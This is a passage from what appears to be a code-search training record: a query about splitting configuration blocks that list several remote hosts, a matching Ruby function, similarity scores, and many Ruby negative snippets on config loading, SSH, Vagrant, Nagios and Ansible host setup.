"def read_config_file\n config_path = File.expand_path(File.dirname(__FILE__)+\"/../../\")\n YAML.load_file(\"#{config_path}/config/#{@type}/config.yaml\")\n end",
"def initialize(file_name)\n @file = File.read(file_name)\n @json_hash = JSON.parse(@file)\n end",
"def load_from_file(path)\n return unless File.exist?(path)\n json_data = File.read(path)\n load_raw_json(json_data)\n end",
"def read_json\n recipes_json = File.read('JSON/recipes.json')\n recipe_hash = JSON.parse(recipes_json)\n return recipe_hash\nend",
"def read_config!\n @config = YAML.load_file(CONFIG_FILE)\n end",
"def load(fn)\n if File.file?(fn)\n begin\n File.open(fn).each do |line|\n #peel off terminators/leading spaces, etc.\n line.strip!\n\n #ignore comment lines...\n if (line[0..0]!=\"#\")\n keyval = line.split(\"=\") # split on equal sign\n\n #ignore blank lines\n if keyval.size>0\n key = keyval[0].strip\n value = keyval[1].strip\n self[key] = value\n end\n end\n end\n rescue\n raise \"Error: trouble loading data from file: #{fn}.\\nDetails: #{$!}\"\n end\n else\n raise \"Error: cannot find configuration file: #{fn}.\\nDetails: File not found.\"\n end\n end",
"def new_from_json_file(path)\n json = ::File.read(path)\n new_from_json_string(json)\n end",
"def from_json(filename)\n require \"json\" unless defined?(JSON)\n from_hash(JSON.parse(IO.read(filename)))\n end",
"def load_config\n if params[:config].given?\n @config = File.open(File.expand_path(params[:config].value)) { |f| JSON.load(f) }\n\n @config.each do |key, value|\n if params.has_key?(key) and params[key].values == params[key].defaults\n params[key].values = [*value]\n params[key].given = true\n end\n end\n\n end\n end"
] |
[
"0.7949474",
"0.7935256",
"0.74392104",
"0.7391881",
"0.7321118",
"0.72972506",
"0.7231015",
"0.7159862",
"0.71275073",
"0.71275073",
"0.7069737",
"0.7067277",
"0.7067277",
"0.7042999",
"0.7042999",
"0.70193017",
"0.69817924",
"0.69806206",
"0.6866703",
"0.6750629",
"0.6717207",
"0.6688329",
"0.66596276",
"0.6595083",
"0.6593839",
"0.6583892",
"0.6580247",
"0.6577128",
"0.656594",
"0.65357274",
"0.6523706",
"0.6509582",
"0.6507047",
"0.64752257",
"0.6473316",
"0.6473012",
"0.6464671",
"0.6434165",
"0.6425758",
"0.64207155",
"0.6409307",
"0.63908476",
"0.6387572",
"0.6353538",
"0.63036186",
"0.62997293",
"0.6295759",
"0.62792134",
"0.62673116",
"0.62428886",
"0.62422836",
"0.6224809",
"0.6204896",
"0.61663735",
"0.61623526",
"0.61551034",
"0.61551034",
"0.61457",
"0.61457",
"0.61437726",
"0.61209315",
"0.6116864",
"0.6112358",
"0.6109983",
"0.61097324",
"0.61000025",
"0.60971665",
"0.6092577",
"0.60770315",
"0.6076515",
"0.6073606",
"0.6072933",
"0.60662204",
"0.6062521",
"0.6060347",
"0.6051053",
"0.60212356",
"0.60192287",
"0.59996945",
"0.5997682",
"0.599207",
"0.5992004",
"0.59891546",
"0.5984034",
"0.5982431",
"0.59764284",
"0.59738165",
"0.5968158",
"0.59628236",
"0.5958613",
"0.59564817",
"0.59534514",
"0.59532917",
"0.5942106",
"0.59400797",
"0.59363115",
"0.5934914",
"0.59163195",
"0.59109795",
"0.59097"
] |
0.76957047
|
2
|
Configuration blocks allow for lists of remote hosts, those are split into seperate configuration blocks here
|
def split_multi_remotehost_config_blocks(config_block)
split_config = []
config_block['remoteHost'].each do |single_remote_host|
# Clone the block containing the multiple remote hosts
config_block_for_single_remote_host = config_block.clone
# And replace them with a single remote host
config_block_for_single_remote_host['remoteHost'] = single_remote_host
split_config.push(config_block_for_single_remote_host)
end
# Return split config blocks that each have a single remote host
split_config
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def process_config(parsed_config)\n final_config = []\n parsed_config.each do |config_block|\n # Skip any blocks that are explicitely not enabled\n next if config_block.key?('enabled') && !config_block['enabled']\n if config_block['remoteHost'].instance_of? Array\n final_config += split_multi_remotehost_config_blocks(config_block)\n else\n final_config << config_block\n end\n end\n final_config\nend",
"def configuration_for(host, use_ssh_config); end",
"def list_of_hosts\n super\n end",
"def hosts; end",
"def hosts; end",
"def hosts; end",
"def getHosts\n\n file = \"config.lst\"\n if File.exist?(file)\n lstArray = File.readlines(file).map do |line|\n # Used \";\" to avoid \\t (TAB) which is different across OS'es\n RemoteClient.new( *line.split(\"\\;\") )\n end\n end\n \n end",
"def host; config[:host]; end",
"def active_remote_destinations; end",
"def hosts=(_arg0); end",
"def hosts=(_arg0); end",
"def get_host_options(key, &block)\n opts = {}\n sky_instances.each{|sky_instance|\n merging = configuration_data.keep_merge configuration_data[\"roles\"][sky_instance.role.to_s]\n if block\n value = block.call(merging[key])\n end\n opts[\"hostvar_#{sky_instance.hostname}\"] = value\n }\n return opts\n end",
"def ssh_config\n ENTRIES.inject([]) { |out, keyvalue|\n host, keywords = keyvalue\n out << [\n 'Host ' + host,\n keywords.inject([]) do |subout, subkeyvalue|\n key, value = subkeyvalue\n subout << \"#{INDENT}#{key.to_s}#{SEPARATOR}#{value.to_s}\"\n end\n ]\n }.join(\"\\n\")\nend",
"def determine_hosts\n if [:deploy_hook, :instant_trace].include?(type)\n config.value('direct_host')\n elsif [:errors].include?(type)\n config.value('errors_host')\n else\n config.value('host')\n end\n end",
"def parse_config\n \n # Make sure there are site definitions\n if not @config.has_key?('remotes')\n puts \"Please add at least one remote definitions to your deploy-to.yml file.\"\n exit 1\n end\n \n # Check for a site_name.\n if @remote_name.nil?\n puts \"Specify which remote you woud like to deploy:\\n\"\n @config['remotes'].each do |remote_name,remote|\n puts \"\\s\\s*\\s\" + remote_name + \" (#{remote['host']})\" + \"\\n\"\n end\n exit 1\n end\n\n # Make sure the site_name is defined.\n if not @config['remotes'].has_key?(@remote_name)\n puts \"There is no definitions for \\\"#{@remote_name}\\\" in your deploy-to.yml file.\"\n exit 1\n end\n \n @remote = @config['remotes'][@remote_name]\n \n get_base # Use the get base method to get the base from the config\n \n set_ignore # Set ignore\n \n # Check that your remote has all the options we need\n if not @remote.has_key?('host') or not @remote.has_key?('path')\n puts \"Your remote: #{@remote_name}, must at least contain host and path.\"\n exit 1\n end\n \n # Build the URI\n @remote_uri = ''\n @remote_uri += \"#{@remote['user']}@\" if @remote.has_key?('user')\n @remote_uri += \"#{@remote['host']}:#{@remote['path']}\"\n @remote_uri += \"/\" if not @remote_uri[-1,1] == \"/\"\n rescue\n puts \"There was a problem parsing your config file\"\n exit 1\n end",
"def configure_interfaces\n node_servers.each do |svinfo|\n gretap_interfaces(svinfo).each do |ifname, ifcfg|\n host_name = svinfo['hostname']\n virtual_addr = virtual_address(ifcfg)\n\n cloudconductor_server_interface \"#{host_name}_#{ifname}\" do\n action :create\n hostname host_name\n if_name ifname\n network ifcfg['network']\n security_groups ifcfg['security_groups']\n virtual_address virtual_addr\n end\n end\n end\nend",
"def run\n Shef::Extensions.extend_context_object(self)\n ssh_config = []\n\n ssh_config << \"\\n\\n### BEGIN KNIFE BLOCK ###\"\n ssh_config << \"## This was generated by `knife setup ssh`:\"\n\n STDOUT.sync = true\n\n nodes.all do |n|\n next if /vagrant/.match(n.name)\n name = n.name\n name << '.lisausa.net' unless /\\.lisausa.net\\Z/.match(n.name)\n\n begin\n hostname = n.ipaddress\n rescue => ex\n ui.warn(\"Error (#{ex.inspect}) while getting #ipaddress for #{n.name}\")\n next\n end\n\n ssh_config << [\n \"Host #{name}\",\n \" HostName #{hostname}\",\n \" HostKeyAlias #{[name,hostname,n.macaddress].join('-')}\"\n ]\n end\n\n if (c = Chef::Config.knife).keys.grep(/identity_file|ssh_user/).any?\n ssh_config.push [\n \"Host *.lisausa.net\",\n \" IdentitiesOnly yes\",\n \" PasswordAuthentication no\",\n \" ForwardAgent yes\"\n ]\n ssh_config.push \" IdentityFile #{c[:identity_file]}\" if c[:identity_file]\n ssh_config.push \" User #{c[:ssh_user]}\" if c[:ssh_user]\n end\n\n ssh_config << \"### END KNIFE BLOCK ###\"\n ssh_config = ssh_config.flatten.join(\"\\n\")\n\n file_path = File.join(ENV['HOME'], '.ssh', 'config')\n if config[:write] or ui.ask_question(\"Write config to #{file_path} (Y/N)?\", default: 'N').downcase == 'y'\n FileUtils.copy_file(file_path, \"#{file_path}~\")\n File.open(file_path, File::RDWR|File::CREAT) do |f|\n f.flock(File::LOCK_EX)\n\n contents = f.read.gsub(/\\n*### BEGIN KNIFE BLOCK ###.+?(### END KNIFE BLOCK ###|\\Z)/m, ssh_config)\n unless contents.include?('### BEGIN KNIFE BLOCK ###')\n contents << ssh_config\n end\n f.rewind\n f.truncate(0)\n f.write contents\n end\n ui.msg \"Wrote to #{file_path}. Previous contents were backed up to #{file_path}~\"\n else\n ui.msg \"Copy and paste the following into your #{file_path} file:\"\n ui.msg ssh_config\n end\n end",
"def configure(&block); end",
"def configure(&block); end",
"def parse_host\n args = ENV['host'].split(',')\n hosts = []\n args.each do |arg|\n if XP5K::Role.listnames.include? arg\n hosts << roles(arg)\n else\n hosts << arg\n end\n end\n hosts.flatten\nend",
"def build_hosts_list(env_vms)\n\n int_id = 10\n\n first = true\n env_vms.each do |vm, vmconfig|\n vmconfig[\"networks\"].each do |name, netcfg|\n if netcfg[\"type\"] == \"private\" then\n if netcfg['ip'].nil? then\n netcfg['ip'] = \"192.168.50.\" + int_id.to_s\n #add the default IP to the environment definnition\n env_vms[vm][\"networks\"][name][\"ip\"] = \"192.168.50.\" + int_id.to_s\n int_id += 1\n end\n if first then\n $base_vars = \"vms_hosts={\"\n $base_vars << \"\\\"#{netcfg['ip']}\\\":\\\"#{vm}\\\"\"\n first = false\n elsif\n $base_vars << \",\\\"#{netcfg['ip']}\\\":\\\"#{vm}\\\"\"\n end\n end\n end if vmconfig[\"networks\"]\n end\n $base_vars << \"}\" if $base_vars\nend",
"def ssh_configs\n configs = []\n configs << project_git_config if project_git_config.host\n configs << database_git_config if database_git_config.host\n configs.concat @standalone_ssh_configs\n configs.compact\n end",
"def configure *xs, &blk\n Nyara::Config.configure *xs, &blk\nend",
"def configure(conf)\n @inventory_hosts_count = conf['inventory_hosts_count']\n end",
"def host_config\n { 'Binds' => @binds,\n 'Privileged' => @privileged,\n 'NetworkMode' => @networkmode.to_s }\n end",
"def configure(&block)\n @configure_blocks ||= []\n @configure_blocks << block\n end",
"def use(*hosts, &block)\n options = hosts.last.is_a?(Hash) ? hosts.pop : {}\n options = { :via => default_gateway }.merge(options)\n\n results = hosts.map do |host|\n server_list.add(Server.new(self, host, options))\n end\n\n if block\n results << server_list.add(DynamicServer.new(self, options, block))\n end\n\n group [] => results\n results.length > 1 ? results : results.first\n end",
"def default_network_configs(communicator)\n winrm = [:forwarded_port, {\n guest: 5985,\n host: 55985,\n host_ip: \"127.0.0.1\",\n id: \"winrm\",\n auto_correct: true,\n protocol: \"tcp\"\n }]\n winrm_ssl = [:forwarded_port, {\n guest: 5986,\n host: 55986,\n host_ip: \"127.0.0.1\",\n id: \"winrm-ssl\",\n auto_correct: true,\n protocol: \"tcp\"\n }]\n ssh = [:forwarded_port, {\n guest: 22,\n host: 2222,\n host_ip: \"127.0.0.1\",\n id: \"ssh\",\n auto_correct: true,\n protocol: \"tcp\"\n }]\n if communicator == :winrm\n [ winrm, winrm_ssl ]\n else\n [ ssh ]\n end\n end",
"def parse_hosts\n hosts = config.scan(/(?<=^logging\\shost\\s)[^\\s]+/)\n { hosts: hosts }\n end",
"def hosts\n Put.warn \"\\nStarted configuring ansible hosts.......\\n\"\n @ansible.groups.each do |group|\n Put.info \"Adding group [#{group['name']}]\"\n\n response = Rest::SubutaiConsole.command(\"echo [#{group['name']}] >> /etc/ansible/hosts\", @environment.ansible_host_id, \"/root\",\"1000\", @url, @token)\n status(response)\n\n group['hostnames'].each do |hostname|\n container = find(hostname)\n Put.info \"Adding hosts #{container.containerName} to group [#{group['name']}]\"\n\n if group.key?('python-interpreter')\n response = Rest::SubutaiConsole.command(\"echo \\\"#{container.containerName} ansible_user=root template=#{hostname} ansible_ssh_host=#{container.ip} ansible_python_interpreter=#{group['python-interpreter']}\\\" >> /etc/ansible/hosts\",\n @environment.ansible_host_id,\n \"/root\",\n \"360000\",\n @url, @token)\n status(response)\n else\n response = Rest::SubutaiConsole.command(\"echo \\\"#{container.containerName} ansible_user=root template=#{hostname} ansible_ssh_host=#{container.ip}\\\" >> /etc/ansible/hosts\",\n @environment.ansible_host_id,\n \"/root\",\"360000\",\n @url, @token)\n status(response)\n end\n end\n end\n end",
"def hosts\n @hosts ||= begin\n r, h, u = [], (config[:hosts] rescue nil), (config[:user] rescue nil)\n h.each {|host| r << Host.new(host, u) } if h && u; r\n end\n end",
"def new_config_content\n return <<-VHOST\n\n# vh configuration file\nInclude #{@target}\n# /vh configuration file\n VHOST\n end",
"def node_list\n connect unless connected?\n set_config unless @config\n\n return [] unless config\n\n [\"#{@host}:#{@port}\"]\n end",
"def configured_hosts\n\t\troutes = self.configured_routes\n\t\treturn Mongrel2::Config::Host.where( id: routes.select(:host_id) )\n\tend",
"def init\n Biilabs.configuration do |config|\n config.host = SET_HOST_URL_HERE_HERE\n end\nend",
"def each_host(&block)\n\t\thosts.each do |host|\n\t\t\tblock.call(host)\n\t\tend\n\tend",
"def configure_instance(node, i)\n node.vm.hostname = fqdn(i)\n network_ports node, i\nend",
"def configure(vm_config, number)\n vm_config.vm.network \"public_network\", ip: \"192.168.1.24#{number}\"\n vm_config.vm.host_name = \"level0#{number}.seoshop.net\"\n \n vm_config.vm.provision :puppet do |puppet|\n puppet.manifests_path = \"puppet\"\n puppet.module_path = \"puppet/modules\"\n puppet.manifest_file = \"site.pp\"\n end\nend",
"def servers\n @config['servers'].map { |server| server.split(/:/) }\n end",
"def configure(hosts, datastores = nil, provision = nil,\n only_hosts = [])\n\n return if hosts.nil? || hosts.empty?\n\n Driver.retry_loop('Failed to configure hosts', provision) do\n check_ansible_version(provision)\n\n install_ansible_dependencies(provision)\n\n # sets @inventories, @group_vars, @playbooks\n dir = generate_ansible_configs(hosts, datastores, provision)\n\n # extends @inventories, @group_vars\n if provision.hci?\n generate_ceph_ansible_configs(dir, hosts, provision)\n end\n\n # try_ssh + gather facts\n try_ssh_and_gather_facts(dir)\n\n OneProvisionLogger.info('Configuring hosts')\n\n @playbooks.each do |playbook|\n # build Ansible command\n cmd = \"ANSIBLE_CONFIG=#{dir}/ansible.cfg \"\n cmd << \"ansible-playbook #{ANSIBLE_ARGS}\"\n @inventories.each {|i| cmd << \" -i #{i}\" }\n @group_vars.each {|g| cmd << \" -e @#{g}\" }\n\n # if adding host then first (main playbook)\n # run on all hosts, others with `--limit ${only_hosts}`\n cmd << \" --limit #{only_hosts.join(',')}\" \\\n if only_hosts && @playbooks.first != playbook\n\n cmd << \" #{ANSIBLE_LOCATION}/#{playbook}.yml\"\n\n o, _e, s = Driver.run(cmd, true)\n\n if s && s.success? && playbook == @playbooks.last\n # enable configured ONE host back\n OneProvisionLogger.debug(\n 'Enabling OpenNebula hosts'\n )\n\n hosts.each do |h|\n host = Resource.object('hosts')\n\n host.info(h['id'])\n host.one.enable\n end\n elsif s && !s.success?\n errors = parse_ansible(o) if o\n\n raise OneProvisionLoopException, errors\n end\n end\n end\n\n [0, @facts]\n end",
"def config_lv_define_box2(vm, conf)\n vm.define conf['hostname_box2'] do |box2|\n box2.vm.hostname = conf['hostname_box2']\n box2.vm.box = conf['imagename_box2']\n box2.vm.network :private_network,\n :libvirt__network_name => \"mgmt\",\n :mac => conf['libvirt_mgmt_mac_box2'],\n :ip => conf['libvirt_mgmt_ip_box2'],\n :libvirt__netmask => conf['libvirt_mgmt_netmask_box2'],\n :libvirt__dhcp_enabled => false,\n :libvirt__forward_mode => \"none\",\n :autostart => true\n box2.vm.network :public_network,\n :network_name => \"ext\",\n :ip => conf['libvirt_ext_ip_box2'],\n :netmask => conf['libvirt_ext_netmask_box2'],\n :gateway => conf['libvirt_ext_gateway_box2'],\n :mac => conf['libvirt_ext_mac_box2'],\n :dev => conf['libvirt_dev'],\n :type => conf['libvirt_type'],\n :mode => conf['libvirt_mode']\n box2.vm.network :private_network,\n :libvirt__network_name => \"ceph\",\n :mac => conf['libvirt_ceph_mac_box2'],\n :ip => conf['libvirt_ceph_ip_box2'],\n :libvirt__netmask => conf['libvirt_ceph_netmask_box2'],\n :libvirt__dhcp_enabled => false,\n :libvirt__forward_mode => \"none\",\n :autostart => true\n box2.vm.network :private_network,\n :libvirt__network_name => \"vm_tunnel\",\n :mac => conf['libvirt_tunnel_mac_box2'],\n :ip => conf['libvirt_tunnel_ip_box2'],\n :libvirt__netmask => conf['libvirt_tunnel_netmask_box2'],\n :libvirt__dhcp_enabled => false,\n :libvirt__forward_mode => \"none\",\n :autostart => true\n box2.vm.provider :libvirt do |domain|\n domain.memory = conf['memory_box2']\n domain.cpus = conf['cpus_box2']\n domain.management_network_name = 'vagrantmgmt'\n domain.management_network_address = conf['libvirt_vagrantmgmt_ip_box2']\n domain.management_network_mode = conf['libvirt_mgmt_mode']\n end\n config_provision(box2.vm, conf)\n end\nend",
"def configHost\n unless File.open('nagios.cfg').read() =~ /hosts.cfg/ && File.open('nagios.cfg').read() =~ /services.cfg/\n\tcfg = File.read('nagios.cfg')\n\tcfg = cfg.gsub(/templates.cfg/, \"templates.cfg\\ncfg_file=/usr/local/nagios/etc/hosts.cfg\\ncfg_file=/usr/local/nagios/etc/services.cfg\")\n\tFile.open('nagios.cfg', 'w') { |file| file.puts cfg }\n end\n File.open('hosts.cfg', 'a+') { |file|\n\tfile.puts \"define host{\\nname\\t\\t\\tlinux-box\\nuse\\t\\t\\tgeneric-host\\ncheck_period\\t\\t24x7\\ncheck_interval\\t\\t5\\nretry_interval\\t\\t1\\nmax_check_attempts\\t10\\ncheck_command\\t\\tcheck-host-alive\\nnotification_period\\t24x7\\nnotification_interval\\t30\\nnotification_options\\td,r\\ncontact_groups\\t\\tadmins\\nregister\\t\\t\\t0\\n}\\n\" unless File.open('hosts.cfg').read() =~ /name\\t\\t\\tlinux-box/\n\t@names.length.times do |x|\n\t file.puts \"define host{\\nuse\\t\\t\\tlinux-box\\nhost_name\\t\\t#{@names[x]}\\nalias\\t\\t\\t#{@names[x]}\\naddress\\t\\t\\t#{@ips[x]}\\n}\\n\\n\"\n\tend\n }\n File.open('services.cfg', 'a') { |file| \n @names.length.times do |x|\n file.puts \"define service{\\n\\tuse\\t\\t\\tgeneric-service\\n\\thost_name\\t\\t#{@names[x]}\\n\\tservice_description\\tCPU Load\\n\\tcheck_command\\t\\tcheck_nrpe!check_load\\n}\\n\\ndefine service{\\n\\tuse\\t\\t\\tgeneric-service\\n\\thost_name\\t\\t#{@names[x]}\\n\\tservice_description\\tTotal Processes\\n\\tcheck_command\\t\\tcheck_nrpe!check_total_procs\\n}\\n\\ndefine service{\\n\\tuse\\t\\t\\tgeneric-service\\n\\thost_name\\t\\t#{@names[x]}\\n\\tservice_description\\tCurrent Users\\n\\tcheck_command\\t\\tcheck_nrpe!check_users\\n}\\n\\ndefine service{\\n\\tuse\\t\\t\\tgeneric-service\\n\\thost_name\\t\\t#{@names[x]}\\n\\tservice_description\\tSSH\\n\\tcheck_command\\t\\tcheck_ssh\\n}\\n\\ndefine service{\\n\\tuse\\t\\t\\tgeneric-service\\n\\thost_name\\t\\t#{@names[x]}\\n\\tservice_description\\tPING\\n\\tcheck_command\\t\\tcheck_ping!100.0,20%!500.0,60%\\n}\\n\\n\" \n end\n }\n end",
"def each_host(&blk)\r\n @hosts.each do |host|\r\n yield host\r\n end\r\n end",
"def remote_descs(options = {})\n\t\t\tlkp_src = ENV[\"LKP_SRC\"] || File.dirname(File.dirname File.realpath $PROGRAM_NAME)\n\n\t\t\toptions[:project] ||= '*'\n\t\t\toptions[:remote] ||= '*'\n\n\t\t\tremotes = {}\n\n\t\t\tDir[File.join(lkp_src, \"repo\", options[:project], options[:remote])].each do |file|\n\t\t\t\tremote = File.basename file\n\t\t\t\tnext if remote == 'DEFAULTS'\n\n\t\t\t\tdefaults = File.dirname(file) + '/DEFAULTS'\n\t\t\t\tremotes[remote] = load_yaml_merge [defaults, file]\n\t\t\tend\n\n\t\t\tremotes\n\t\tend",
"def remote_connections; end",
"def server\n ::PuppetLibrary::Server.configure do\n sources.each do |src|\n type = src.delete(:type)\n forge type do\n src.each {|k, v| self.send(k, v) }\n end\n end\n end \n end",
"def host(name, *parents, &block)\n\t\t\t\tenvironment = merge(name, *parents, &block)\n\t\t\t\t\n\t\t\t\tenvironment[:root] = @root\n\t\t\t\tenvironment[:authority] = name\n\t\t\t\t\n\t\t\t\t@configuration.add(environment.flatten)\n\t\t\tend",
"def servers\n configuration.servers\n end",
"def read_cfg\n config = Config.new\n File.open(\"#{$work_dir}/#{filename}\") do |file|\n while line = file.gets\n #next if /^#/\n if /^(PMASTER):\\w+:(\\S+)/ =~ line then\n config.host_list[$2] = $1\n puts \"Puppet Master: #{$2}\"\n end\n if /^(AGENT):\\w+:(\\S+)/ =~ line then\n config.host_list[$2] = $1\n puts \"Puppet Agent: #{$2}\"\n end\n end\n end\n return config\n end",
"def remote_administration\n tags = %w(-primary_http -secondary_http -primary_https -secondary_https -telnet -secondary_telnet -secure_telnet)\n values = tags.inject(\"\") { |x, d| x << \"#{d} #{rand(100) > 50 ? \"on\" : \"off\"} \" }.strip\n condition = values.scan(/-.*? \\b\\w+\\b/).inject(\"\") { |x, d| x << d.delete(\"-\").capitalize.sub('_', ' ').sub('https', 'HTTPS').sub('http', 'HTTP').sub('telnet', 'Telnet').sub('secure', 'Secure').sub(/(\\bon\\b|\\boff\\b)/, 'turned \\1')+\"\\n\" }.strip\n return { \"fw_remote_admin\" => { \"section\" => \"firewall-remote admin\", \"set\" => values, \"scanbuild\" => \"on\" }}, condition\nend",
"def config(&block)\n instance_exec(&block)\n end",
"def parse_servers\n tuples = config.scan(SERVER_REGEXP)\n hsh = {}\n tuples.map do |(vrf, host, prefer, minpoll, maxpoll, sourcei, key)|\n hsh[host] = {\n vrf: vrf,\n prefer: !prefer.nil?,\n minpoll: minpoll.nil? ? nil : minpoll.to_i,\n maxpoll: maxpoll.nil? ? nil : maxpoll.to_i,\n source_interface: sourcei,\n key: key.nil? ? nil : key.to_i\n }\n hsh[host]\n end\n\n { servers: hsh }\n end",
"def format_hosts\n all_hosts(@config).inject('') do |str, (address, aliases)|\n str << \"#{address} #{aliases.join(' ')}\\n\"\n end\n end",
"def format_hosts\n all_hosts(@config).inject('') do |str, (address, aliases)|\n str << \"#{address} #{aliases.join(' ')}\\n\"\n end\n end",
"def server_hosts\n return [:default] if @resource[:server_hosts] &&\n @resource[:server_hosts][0] == :default &&\n @property_hash[:server_hosts] ==\n @aaa_group.default_servers\n @property_hash[:server_hosts]\n end",
"def hosts\n @hosts ||= []\n end",
"def configure(hosts, force = nil)\n configured = ''\n\n hosts.each do |host|\n host.info\n\n status = host['TEMPLATE/PROVISION_CONFIGURATION_STATUS']\n\n host = Host.new(host['ID'])\n host.check\n\n if status == 'configured' && !force\n configured &&= true\n else\n configured &&= false\n end\n end\n\n if configured && !force\n Utils.fail('Hosts are already configured')\n end\n\n Driver.retry_loop 'Failed to configure hosts' do\n configure_all(hosts)\n end\n end",
"def list\n unless hosts.empty?\n format hosts\n else\n \"No custom hosts found.\\nYou can add some using:\\n\\thoust add [alias] [address]\\n\"\n end\n end",
"def get_hosts\n\t\t#all_hosts={}\n\t\t#config=self.load_config\n\t\t#config['hosts'].each do |section|\n\t\t#\tsection.each do |host_section, host_values|\n\t\t#\t\thost_values.each do |host|\n\t\t#\t\t\tall_hosts[host['title']] = host['sshparams'] unless host['sshparams'].nil?\n\t\t#\t\tend\n\t\t#\tend\n\t\t#end\n\t\t#return all_hosts\n all_hosts={}\n config=self.load_config\n\t\tbegin \n config['hosts'].each do |section|\n section.each do |host_section, host_values|\n all_hosts[host_section] = host_values unless host_section.nil?\n end\n end\n\t\trescue Exception => e\n\t\t\tputs \"Your hosts.yml file is empty?: #{e}\"\n\t\t\texit\n\t\tend\n return all_hosts\n\tend",
"def block_unknown_hosts\n return if Rails.configuration.hosts.blank?\n raise UnsafeHostError, \"#{request.host} is not a safe host\" unless Rails.configuration.hosts.include?(request.host)\n end",
"def configure(site = :default, &block)\n @configs ||= {}\n @configs[site.to_s] = block\n end",
"def host_definitions(monitor_config)\n logger.debug { \"#{self.class}##{__method__}\" }\n host_defs = []\n monitor_config.groups.each do |group|\n group.hosts.each do |host|\n hdef = host.instance_values.symbolize_keys\n hdef[:monitor_type] = monitor_config.monitor_type\n hdef[:role_name] = group.role\n %i[executable_path ssh_identity user_name\n sampling_interval active].each do |sym|\n\n # take values from monitor_config unless the hdef contains the key\n hdef[sym] = monitor_config.send(sym) unless hdef.key?(sym)\n end\n hdef[:active] = true if hdef[:active].nil?\n host_defs.push(hdef)\n end\n end\n host_defs\n end",
"def handle_host(config, host, master_ip, bridge)\n config.vm.define host[\"name\"] do |node|\n node.vm.provider \"virtualbox\" do |vb|\n vb.name = host[\"name\"]\n end\n node.vm.box = host[\"box\"]\n node.vm.hostname = host[\"name\"]\n if host[\"private_net\"]\n node.vm.network \"private_network\", ip: host[\"ip\"]\n else\n node.vm.network \"public_network\", bridge: bridge, ip: host[\"ip\"]\n end\n node.vm.provision :salt do |salt|\n # The Salt minion_id config is currently ignored and Salt bootstrap\n # uses one of the hostnames that it finds. This is not necessarily\n # the hostnam set here. It worked on the test box that was used\n # originally that did not have a hostname previously set. But,\n # failed on public boxes that already had set a separate hostname.\n # For now, set it in bootstrap_options.\n #salt.minion_id = \"testminionname\"\n salt.install_type = \"stable\"\n bootstrap_options = \"-D -A #{master_ip} -i #{host[\"name\"]}\"\n salt.minion_key = File.join(KEY_DIR, host[\"name\"]) + \".pem\"\n salt.minion_pub = File.join(KEY_DIR, host[\"name\"]) + \".pub\"\n master_cfg = {}\n if host[\"minions\"]\n # There are relative minions of this node, so set up salt-master and\n # salt-minion. Preseed this nodes master with keys for those minions.\n minion_keys = {}\n host[\"minions\"].each do |minion|\n minion_name = minion[\"name\"]\n minion_keys[minion_name] = File.join(KEY_DIR, \"#{minion_name}.pub\")\n end\n master_cfg[\"syndic_master\"] = master_ip\n salt.seed_master = minion_keys\n salt.install_master = true\n salt.install_syndic = true\n end\n if not master_cfg.empty?\n syndic_cfg = JSON.generate(master_cfg)\n bootstrap_options << \" -J '\" << syndic_cfg << \"'\"\n end\n salt.bootstrap_options = bootstrap_options\n end\n end\n if host[\"minions\"]\n # Now set up any nodes listed as minions to this node.\n host[\"minions\"].each do |minion|\n handle_host(config, minion, host[\"ip\"], bridge)\n end\n end\nend",
"def get_resource_configurations(user_id)\n self.class.available_hosts.map do |host|\n {name: short_name.to_sym, params: {plgrid_host: host}}\n end\n end",
"def configure_serverspec(node)\n set :backend, :ssh\n host = node.ssh_info[:host].to_s\n options = Net::SSH::Config.for(host)\n options[:user] = node.ssh_info[:username].to_s\n options[:keys] = node.ssh_info[:private_key_path][0].to_s\n options[:port] = node.ssh_info[:port].to_s\n\n set :host, host\n set :ssh_options, options\n end",
"def all_server_hosts\n [server_host]\n end",
"def config_network(instance, vm_config)\n\n vm_config[\"networks\"].each do |network, config|\n if config[\"type\"] == \"private\" then\n if config[\"ip\"] then\n instance.vm.network :private_network, ip: config[\"ip\"]\n end\n elsif config[\"type\"] == \"public\" then\n instance.vm.network :public_network\n end\n end if vm_config[\"networks\"]\n\n vm_config[\"ports\"].each do |port, config|\n\n raise \"At least the guest port is needed in 'guest_port' variable\" \\\n if config[\"guest_port\"].nil?\n\n instance.vm.network \"forwarded_port\",\n guest: config[\"guest_port\"],\n host: config[\"host_port\"] || config[\"guest_port\"],\n protocol: config[\"protocol\"] || \"tcp\",\n auto_correct: config[\"auto_correct\"] || true\n end if vm_config[\"ports\"]\n\nend",
"def basic_config(vm)\n hosts = NODES.map { |hostname, array| \"#{array[0]} #{hostname}\" }.join(\"\\n\")\n bashrc=\"/home/vagrant/.bashrc\"\n vm.provision \"shell\", inline: <<-SHELL\n if ! grep -q \"git-core\" #{bashrc} ; then \n echo \"customizing ~/bashrc\"\n echo \"\\n\\n# Customizations from Vagrantfile:\" >> #{bashrc}\n echo \"export PS1='\\\\[\\\\033[31;1m\\\\]\\\\h\\\\[\\\\033[0;32m\\\\] \\\\w\\\\[\\\\033[00m\\\\]: '\" >> #{bashrc}\n echo export PATH=\"\\$PATH:/usr/lib/git-core:/home/vagrant/teleport/build\" >> #{bashrc}\n echo export GREP_OPTIONS=\"--color=auto\" >> #{bashrc}\n echo \"alias ll='ls -lh'\" >> #{bashrc}\n echo \"alias tsh='tsh --insecure'\" >> #{bashrc}\n fi\n if ! grep -q \"Teleport\" /etc/hosts ; then \n echo \"# Teleport entries added by Vagrant:\" >> /etc/hosts\n echo -e \"#{hosts}\" >> /etc/hosts\n fi\n mkdir -p /var/lib/teleport\n chown vagrant:vagrant /var/lib/teleport\n SHELL\nend",
